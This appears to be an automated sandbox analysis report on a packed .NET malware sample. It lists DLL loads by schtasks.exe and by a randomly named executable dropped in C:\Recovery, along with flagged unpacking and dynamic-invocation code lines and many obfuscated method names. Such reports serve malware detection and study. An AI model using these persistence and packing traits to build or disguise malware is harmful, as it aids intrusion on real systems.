Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Section loaded: sspicli.dll	Jump to behavior

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: c5uqDb5MlY.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: c5uqDb5MlY.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: c5uqDb5MlY.exe, GTUEegpOky8P0YRB9B8.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: c5uqDb5MlY.exe, ugrXJkdRvdVvES7hcAK.cs	.Net Code: KrLHmpNGOB System.AppDomain.Load(byte[])
Source: c5uqDb5MlY.exe, ugrXJkdRvdVvES7hcAK.cs	.Net Code: KrLHmpNGOB System.Reflection.Assembly.Load(byte[])
Source: c5uqDb5MlY.exe, ugrXJkdRvdVvES7hcAK.cs	.Net Code: KrLHmpNGOB

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Code function: 0_2_00007FFD9B888547 push esi; retf	0_2_00007FFD9B888548
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Code function: 10_2_00007FFD9B8A8547 push esi; retf	10_2_00007FFD9B8A8548
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Code function: 11_2_00007FFD9B888547 push esi; retf	11_2_00007FFD9B888548
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Code function: 11_2_00007FFD9B8800BD pushad ; iretd	11_2_00007FFD9B8800C1
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Code function: 12_2_00007FFD9B8B8547 push esi; retf	12_2_00007FFD9B8B8548
Source: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	Code function: 12_2_00007FFD9B8B00BD pushad ; iretd	12_2_00007FFD9B8B00C1

Source: c5uqDb5MlY.exe, n0dUDxPHfkwx8EURIFh.cs	High entropy of concatenated method names: 'zyg13VvebBLrRKLnZgt', 'nH2JARv4EY5DOnHJE4J', 'xELesavwJcRE0fMuwxi', 'siVVTMv2lQ642LN8hUM', 'gHhtndkiD2', 'Idiw6mvBA3XVSnSAnHe', 'Plogjvv0b0u3NFUSYKB', 'l8qiaov9inXykXptwNZ', 'xtuS5OvgOcQ7FlCk9x7', 'Efna17vdxb3ErXrtBXe'
Source: c5uqDb5MlY.exe, JPyjlax1avayO6djTu3.cs	High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'FnhsU7pfMBZrE85xx7E', 'Opx0dppvh0ZOFqW073g', 'y10irYpkbEob3bacAAl', 'pi7PCapF6h6PKgdIKcr', 'XjCpbppn5OTZJcpYBDr', 'u5EDiKpEFB33ij45t2r'
Source: c5uqDb5MlY.exe, HP4kB9uj5t6WE5JTa4.cs	High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'p5apKx8qvvEKAkkY5hi', 'NcYpBB8oMVBIFxHCwou', 'Wb70E28MN6OaXNbJfwC', 'rFnjCw8jTg4SAN63W19', 'NCqIFI8WVulekXFqkLB', 'FjWVOh8CRCC6l7bO9v0'
Source: c5uqDb5MlY.exe, ba8l2GxHUtFE2C2PcFq.cs	High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'dZGSHuLys9q56dAGwdT', 'htOhJkL55Uqrw6f8hSv', 'rlJpkKLf2jfOhQlWxGd', 'Rg0X83LvbFgRTGaQf6f', 'IwfrY6LkvZJdWKRNaap', 'q4VAiALF0NQH0O4tuC9'
Source: c5uqDb5MlY.exe, rkxr7wHxXRmDl5n65mT.cs	High entropy of concatenated method names: 'g7ApUVsIKb', 'sfGpAGFQ0r', 'nd2pVlAWoo', 'Divp4lUGM8', 'NL9HtSGzF8OoGAIpabn', 'FCmnq1GWQxPuWcnyGu5', 'DEWtlCGCTIpkod8FSFH', 'ifXnyPrJu05DK95FvV9', 'oWpIsprN4n2l6koY66H', 'nrgdYlrZvAduGpc9btS'
Source: c5uqDb5MlY.exe, bIurGtHzHfThON9DTJ4.cs	High entropy of concatenated method names: 'dm5r8CBQqh', 'fgJrXoX8CG', 'vXFrUmZ0jM', 'jOX8We91idDvPFNAQuA', 'NTv81c9XwuVjYF3IcUu', 'JWwue39DcdCR7cQQpIA', 'RWuhHp9bE67Z1DfLilN', 'wi2Epi9Yi3802jgGS03', 'QP0hwV9hHr3OCplknb0', 'K4NyOn9UNyEVuOy6q3c'
Source: c5uqDb5MlY.exe, GTUEegpOky8P0YRB9B8.cs	High entropy of concatenated method names: 'K1rqDnUBG15mcjkUkWF', 'fADCDbU0poWd8wcH9EJ', 'BTIm3CU9iuG5ldt2lLj', 'L0DnNIUgX678iG1lZFL', 'OH1Vmq3gg1', 'yhK9lEUyJUS28OGCJxR', 'xkwKQZU5wiJd8W9S1U9', 'dbGVXOUf3wBBPQZUpQh', 'e63jLCUvjtJUGgpom3f', 'b4AfktUkKWnboHUauXe'
Source: c5uqDb5MlY.exe, HRDr6xx66tVN1gAwYtl.cs	High entropy of concatenated method names: 'Qybxkww2ZQ', 'VKeHjcQ9a2xa4BlMY2L', 'AiuPlQQgm3UVOfBZRJK', 'dspTZLQerYATpHZVCBu', 'Q1uHBiQ4GndXD4dJmsV', 'NjZXUfQBCveATGumjXo', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: c5uqDb5MlY.exe, GxdbW5xJ3iyi2XYMvca.cs	High entropy of concatenated method names: 'tUidYCxMED', 'eXKd3tU7oY', 'k4Ddnn9Kx9', 'emQRRcipmqfsRUQf2YR', 'jXq4D0iOiB2a4LFWAvp', 'HrFkLxiQwEveWnhZq6c', 'DVvo9FiigsBUwmG0OTh', 'uOhb1ri6gZrFy4I6o2w', 'zhYLNLiR3viV6aSg7P5', 'KxLnw8imIB1q65Fkw0O'
Source: c5uqDb5MlY.exe, WdNQITdJOgXRtbi7JLG.cs	High entropy of concatenated method names: 'AqKpim9Yvh', 'Ce27U8G3AcEcObVRkOe', 'H0HHscGtEr4gqBED55F', 'LBgw9VGVixxdZKNom1a', 'hvHDvIGlE0oY8soX8q5', 'peVRVUGxgMnykWHbnAY', 'yZep5bHYtS', 'w2FpERIr7i', 'WZspt5ZrRx', 'SONpjy1ArQ'
Source: c5uqDb5MlY.exe, ibMo1IxX6nIgn3RO3kP.cs	High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'eDILAnOnsfRZAl4d6x8', 'E2KfmlOEpZVPHLg9876', 'P0eHTjOTMqmZ8DXtRMc', 'N1RsLhODtmWwgqdLnWb', 'ULrWr1ObOhjHtPDgS4l', 'DV5YXCO15TjVwGbAvQr'
Source: c5uqDb5MlY.exe, EREkOgvi2JGVteKZqUg.cs	High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: c5uqDb5MlY.exe, KGq75BxkocH3c50JE6Q.cs	High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'y42CSRpVccDYHr20xvI', 'WSZTccp31DR1gej9ENS', 'OFvcenplLDvSutHrtdG', 'AI8Ux3pxGgK9EVjIauS', 'g7wjWfpqe3oxh3c65GM', 'kLd8jwpoW26cheT1hO0'
Source: c5uqDb5MlY.exe, GQSJb0z7hXvxqyhER5.cs	High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'iijSX2LuEB2XJm9cEZU', 'Y6H1WTLc1cFYCX6Vl2a', 'NtYKu8L82iNhEMaFx3E', 'Bo5iugLLTfSFY8P8hYe', 'LwX9UMLK7KvhbDHqhVP', 'pST8BILSvlg23qZglL1'
Source: c5uqDb5MlY.exe, TF5ocs2kSrNmR532Baw.cs	High entropy of concatenated method names: 'caFmubdGet', 'Cb1m64vdhc', 'W6XmKf81kg', 'GVkmylkLXx', 'e9Emoma7XK', 'z2nmbg6OBb', 'Ow3mGyKYp3', 'hjOm0ZsQXA', 'kCSmNGhkKh', 'xNUmqWoSfg'
Source: c5uqDb5MlY.exe, looMYlKkM8aBsnVXVH.cs	High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'l4F8mFZWAbedlYmv37r', 'iCshh1ZCCRrnj5x6fSk', 'TljeQjZzV7c3YFFTyB3', 'JqUiReuJrL9q6AuFo2r', 'F45jVMuNHOx99ZU6tfF', 'NbZBobuZZrDcSiTlxPL'
Source: c5uqDb5MlY.exe, wqD7ZwxinJpkIooKZda.cs	High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'Am7Ix2SPR4U2q7apj6m', 'lsNEATStTv93eu9RMCE', 'uklx2USV0jiqiKdu967', 'tpRxcQS3PD5oQaUMSBj', 'IKWCXTSlSGPEGP3HtVe', 'HtZLMQSxXFGjH34Wbxc'
Source: c5uqDb5MlY.exe, aiGkp7VCRe9sEw8UY9.cs	High entropy of concatenated method names: '_52Y', 'YZ8', 'Eg4', 'G9C', 'u8QGd3aQp', 'U1g1dpZrP0SV9nsYEYe', 'lAMYLuZIve46lXEPVk7', 'YmqOLQZwEW6jTOBWV9f', 'm6UbuGZ2JnNQmsv5SKy', 'wpHHE7ZeA3ZE80JxSqU'
Source: c5uqDb5MlY.exe, uJurFaLlBxdMM7gMTA.cs	High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'GGEqZTw9F', 'VCScdoZFdaeXnApor8L', 'daBfNbZnhswfi1OqIs4', 'jYfitDZE4EUvfpuT9Z0', 'XB4fq7ZTSHrKXVkXAmn', 'EZJiXLZDSKUB8TuAZq5'
Source: c5uqDb5MlY.exe, qbCy732WPp5WkVRCFN6.cs	High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'Jpvml8SL6w', 'CmsmgvsRb2', 'r8j', 'LS1', '_55S'
Source: c5uqDb5MlY.exe, IlLWugxIAvhARxGJM1J.cs	High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'DaQJhbK03WGxQ8noCrD', 'jKMC8qKd1jbIipkvaDQ', 'N91BhiKsbR3vhkGXuXs', 'UIFghqKyMlIiZv8NxWM', 'MvKhsuK5em1QC9OndU4', 'tVpMVPKfQBiTZ5oefZr'
Source: c5uqDb5MlY.exe, rCBQqh2uvgJoX8CG3XF.cs	High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: c5uqDb5MlY.exe, S0vmNmvspq89kwKsYl3.cs	High entropy of concatenated method names: 'C7CiBUIBy4', 'Qxfiws7RXG', 'vbViD4Ss7P', 'xnBieTgQuY', 'WNpiWeVZV8', 'Bo7i1new3K', '_838', 'vVb', 'g24', '_9oL'
Source: c5uqDb5MlY.exe, FhL45iHwINT7xldRbw7.cs	High entropy of concatenated method names: 'oYo', '_1Z5', 'LwAJvOQvaB', 'yITr2emIJg', 'vTnJuZK1Ug', 'USPVHB4RwWsIgQESQTH', 'gRZ1F64mx1GBXD4gITy', 'Fo8P9M4HtEOZkMa5D2P', 'yZWPqp4axctRBZhekkE', 'I2qqjA4AvDTgRmuD5Pn'
Source: c5uqDb5MlY.exe, faquVbdmtGu45jf5KcZ.cs	High entropy of concatenated method names: 'vvbHaPyjla', 'QwtKJimuuDAxHMjMEXQ', 'db9cJ1mchWAF8u3NGbw', 'HxtjiGmNxqeZffZTQ1s', 'AFwCT6mZaMsRh9cT3XD', 'b2dgJMm8EdL4Wg2PisK', 'PK4O9EmL9CvOcVMtgJr', 'OYscASmKPkK8DJOM5hA', 'SbaErxmScXiiPfapTFw', 'DxuL8KmOXcj6jkjUw1q'
Source: c5uqDb5MlY.exe, Tn6nmwdX8M1y10KFeSM.cs	High entropy of concatenated method names: 'RME2u9YFha', 'ljf2JdfFGJ', 'XJN2z3V7ra', 'ogjPsVAA54', 'XadPx7htpw', 'mTCPd6FFA6', 'nE8PHUjvCH', 'EluP21SesJ', 'Md7PPWsDlQ', 'Wm0SZNaopXNgqR6KYfA'
Source: c5uqDb5MlY.exe, V6WRlYv3LFsjEnUlnTf.cs	High entropy of concatenated method names: 'IGD', 'CV5', 'EH5fnkB8Wc', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: c5uqDb5MlY.exe, LS5opj2nks4TL88xwoI.cs	High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'MsxOsHpQij', '_3il', 'KUXOxNqrJ9', 'wdIOd4nEyC', '_78N', 'z3K'
Source: c5uqDb5MlY.exe, UwiTXhHmxvHmIFcZkEu.cs	High entropy of concatenated method names: 'LAmQqsaJVs', 'mX5QhgLVtV', 'Le6QB8yvwB', 'MWXQwxVUJB', 'mA0ZVnwkmWDQfvHnZWR', 'GLTY5CwFBaw0oB27Xrx', 'PfNLYQwn8JMMxeKu2Ng', 'yFS0yuwfOvYnWkeyhNW', 'NMqHl0wvs9Xs5CArxRj', 'kTXeq9wEKvSJ81YOosC'
Source: c5uqDb5MlY.exe, q2H25Q2jrdJ7FDcNL5b.cs	High entropy of concatenated method names: 'uEgILUmp1i', 'AU4I6sWa6W', 'hlYIKLFsjE', 'xUlIynTf5u', 'xSZIoMRCUl', 'EcDwMeBFyaNb102nVEx', 'TaijdMBnDEq3EbHhuta', 'AuHnLrBvqRxPQtFtfqi', 'J58lleBkc0iAT2jW6Dv', 'rmF8CkBEuAHAdyORhpK'
Source: c5uqDb5MlY.exe, YN3V7rdtaggjVAA54ua.cs	High entropy of concatenated method names: 'YZF2O4k5wl', 'k6I2mnjLNg', 'Y6UqRCH9jn9at1b49WU', 'uaRxaTHgSbGZropoR4o', 'juToDfHeLVy3IcIxitK', 'A3SXgrH4tseijDH3JWI', 'ry0kO1HBhGTePlLCjdu', 'KvsIvkH0858xe0kZ03w', 'rS07DVHdqQRkYS4am7k', 'wxjVFqHs8i3pbIaOleT'
Source: c5uqDb5MlY.exe, NKcBs1vZv9VXVB42tVE.cs	High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: c5uqDb5MlY.exe, dHbQ7uhjqhMgdmIkDi.cs	High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'KL9cEjc7eG0RmjvYkLf', 'OOWqbMcGGUNDT96iu6J', 'TFOladcrePFb106jlLr', 'jtR5mQcI1rDDHgaFiUH', 'Xaox5scwVKYnUfK1Nod', 'nXpbjIc2NJWdVFfFbXT'
Source: c5uqDb5MlY.exe, ewTRg0xwpLSG75kNSiZ.cs	High entropy of concatenated method names: 'lhodFBQYec', 'E6Cdc5kWsd', 'IOfgEkpiuG3PAqFBlvh', 'CgLpXUpQPuYd7QumhlR', 'mPJfJappUgAnPJKVcII', 'Gbg1oZp6ia2UNXIXTpa', 'kqbPP2pRAYc0C2XVhge', 'NiUWpUpmjgKfa4jWvyt', 'EYRV2ipHnlMoXJZLIXl', 'sMgac0paDggT8aBNrHb'
Source: c5uqDb5MlY.exe, gAdxinYKjEBtDP0AFP.cs	High entropy of concatenated method names: 'DFunWxmAW', 'rp9ixlsRl', 'RwQfo0iTy', 'hyMZgvecT', 'f3a8nRFxQ', 'nAaXFMQYW', 'PSHUJdneb', 'CEn9RtNSiOTn1omKw6A', 'yHxiuHNO9X8NdcF8Uby', 'rBggubNQFXgbUmoX6Eh'
Source: c5uqDb5MlY.exe, aXomJT2aeMPmO3AQU5H.cs	High entropy of concatenated method names: 'tx4liawvel', 'jtXlZyvVnh', 'ckflOde9D7', 'L6IlmMBS1h', 'htDllWYTgX', 'IW3lg1EbOR', 'u7ll9FyV7J', 'oeOlSfOKge', 'zHEl5hVcEm', 'mbQlECgeff'
Source: c5uqDb5MlY.exe, FoeM7axm2JkLBYWqyyR.cs	High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'bmgUO0KDNpcIWhad0qR', 'fewiyHKb2HJRYeej9dC', 'VCRBbpK1G9M8L5pMAFE', 'GZ64DIKXNlqlN10LIHS', 'XA3XbsKYn6R39NLvdLs', 'gGEGnbKhy4rFM0a6bk0'
Source: c5uqDb5MlY.exe, p65dFqd9QtletjEIjZy.cs	High entropy of concatenated method names: 'Vu3HuKY4vU', 'slGHJQTwKc', 'TfqLhymrIfYeUxNO2Sa', 'kRGAWJmILtwaHVVDtgd', 'WtTraumwBggejlNZIiR', 'jW4pXAm2UXJkfeiYncd', 'xTuUHZmem9n8vQQXnZ6', 'D3P740m4jsCDrdQajSW', 'wDA5eXm9kKKEZaPSbNo', 'qOUWBUmgmCuCAPyvBWQ'
Source: c5uqDb5MlY.exe, vF0GLQHIXthEUFtbKOV.cs	High entropy of concatenated method names: '_223', 'BVuVVYw7wMJjKdfLLcE', 'JwdRTpwGCXdU15hpLPJ', 'KbyHQawrHvvJhD4wAtR', 'KjewulwIFEPOj3OsFIJ', 'LA10HdwwteTny7aYeNJ', 'l07cpqw2uGq9csNby1a', 'EUEwQ1weQlFcjXUPQoU', 'Pamuk9w4DyyvboXIBnO', 'KOwydCw9OJXMXrXO64H'
Source: c5uqDb5MlY.exe, qSkPJwHaqRMnJrvCWNu.cs	High entropy of concatenated method names: 'bq3VKR9ET6Ga6CGwtPT', 'AG8NZ79TOQ2GlfVtskL', 'DWidI89FJToNKWd4mYF', 'F621uy9nw1BF3j5GyWr', 'IWF', 'j72', 'uFNr960OnN', 'jq4rS2SiZr', 'j4z', 'BACr5QVR3G'
Source: c5uqDb5MlY.exe, KucUZnvW0Qb2QkxJfl7.cs	High entropy of concatenated method names: 'uajUYkJ8ue', '_1kO', '_9v4', '_294', 'dDsU3ygbrW', 'euj', 'DGeUnnUkqV', 'BUsUiBoKbD', 'o87', 'aVvUfPhjsR'
Source: c5uqDb5MlY.exe, rVLUGWaKiyqju1FqbM.cs	High entropy of concatenated method names: '_88Z', 'YZ8', 'ffV', 'G9C', 'Dwr96c8hDN1EY276IOn', 'UjS91M8UnPCHsvFBrsG', 'wrED478PDpNcKuLmfDq', 'GUXCR48tJ3sVZWxOFsW', 'C5RRvG8VsbLDnl6HS9V', 'd2I5kT83URWWwrKmjqJ'
Source: c5uqDb5MlY.exe, qGL9PuxpByCJ2GITuws.cs	High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'PnmvI0LowZiqbvNwXiF', 'vWQLZOLM6f9Rx0Tw7DC', 'FHY2GKLjhd00SYI3xQx', 'H9r9lELWXXuwiCY50tn', 'y1kfaULCwvBof0nUxSf', 'LYJe9GLzqyHbrVQBnZj'
Source: c5uqDb5MlY.exe, zvemMRvd8Od5NSvqoCs.cs	High entropy of concatenated method names: 'bZsfQYGqQk', 'pPhfRXwX10', '_8r1', 'IIpfruAh58', 'cg0fFVWRjU', 'Kedfc6UI3V', 'zBqfIelMlh', 'NqiCPDbaMuD7H4Urib0', 'vKusRTbAWFNjyleux8E', 'W3dE3Pb7ohCXS2bab5f'
Source: c5uqDb5MlY.exe, t5VYyI2FsDMCSn7FIit.cs	High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
